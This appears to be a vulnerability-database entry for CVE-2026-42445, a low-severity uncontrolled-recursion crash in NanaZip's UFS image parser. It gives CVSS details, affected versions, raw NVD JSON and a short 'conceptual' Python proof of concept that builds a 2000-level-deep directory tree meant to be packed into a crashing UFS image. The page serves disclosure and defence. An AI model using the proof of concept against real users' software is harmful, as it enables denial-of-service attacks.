Security Vulnerability Report
中文
CVE-2026-42445 CVSS 3.3 LOW

CVE-2026-42445

Published: 2026-05-12 20:16:42
Last Modified: 2026-05-14 15:54:37

Description

NanaZip is an open source file archive. From 5.0.1252.0 to before 6.0.1698.0, an uncontrolled recursion vulnerability exists in the UFS/UFS2 filesystem image parser in NanaZip. The function GetAllPaths recurses into subdirectories without any depth limit or visited-inode tracking. A crafted UFS image with a deep directory tree or an inode cycle causes stack exhaustion, crashing the NanaZip process. This vulnerability is fixed in 6.0.1698.0.

CVSS Details

CVSS Score
3.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:m2team:nanazip:*:*:*:*:*:*:*:* - VULNERABLE
NanaZip >= 5.0.1252.0, < 6.0.1698.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-42445 (Conceptual) # This script demonstrates how to create a deep directory structure # that would trigger the uncontrolled recursion if packed into a UFS image. import os def create_deep_directory(base_path, depth): """ Recursively creates a deep directory structure. In the actual exploit, this structure exists within a crafted UFS image. """ if depth <= 0: # Create a file to mark the end with open(os.path.join(base_path, 'payload.txt'), 'w') as f: f.write('CVE-2026-42445 Trigger') return current_dir = os.path.join(base_path, f'level_{depth}') try: os.makedirs(current_dir) print(f"Created directory: {current_dir}") create_deep_directory(current_dir, depth - 1) except OSError as e: print(f"Error: {e}") if __name__ == "__main__": # Depth sufficient to cause stack exhaustion in vulnerable parsers # NanaZip default stack size may vary, but deep recursion is the key. target_depth = 2000 output_dir = "./ufs_poc_structure" if not os.path.exists(output_dir): os.makedirs(output_dir) print(f"Generating directory structure with depth {target_depth}...") create_deep_directory(output_dir, target_depth) print("Done. To exploit, pack this structure into a UFS filesystem image and open with NanaZip.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42445", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:41.777", "lastModified": "2026-05-14T15:54:37.373", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NanaZip is an open source file archive. From 5.0.1252.0 to before 6.0.1698.0, an uncontrolled recursion vulnerability exists in the UFS/UFS2 filesystem image parser in NanaZip. The function GetAllPaths recurses into subdirectories without any depth limit or visited-inode tracking. A crafted UFS image with a deep directory tree or an inode cycle causes stack exhaustion, crashing the NanaZip process. This vulnerability is fixed in 6.0.1698.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:m2team:nanazip:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.1252.0", "versionEndExcluding": "6.0.1698.0", "matchCriteriaId": "60D88926-2653-48FD-A4FE-B8CB8EB39E55"}]}]}], "references": [{"url": "https://github.com/M2Team/NanaZip/security/advisories/GHSA-jpf5-j78p-cp3x", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}